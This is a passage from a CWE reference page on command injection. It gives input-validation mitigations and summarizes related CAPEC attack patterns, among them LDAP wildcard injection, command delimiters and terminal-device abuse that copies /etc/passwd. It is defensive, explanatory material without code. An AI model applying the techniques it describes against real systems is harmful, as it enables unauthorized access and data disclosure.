  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Operation

Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.

Mitigation
System Configuration

Assign permissions that prevent the user from accessing/opening privileged files.

CAPEC-136: LDAP Injection

An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-183: IMAP/SMTP Command Injection

An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.

CAPEC-248: Command Injection

An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.

CAPEC-40: Manipulating Writeable Terminal Devices

This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-75: Manipulating Writeable Configuration Files

Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

← Back to the CWE list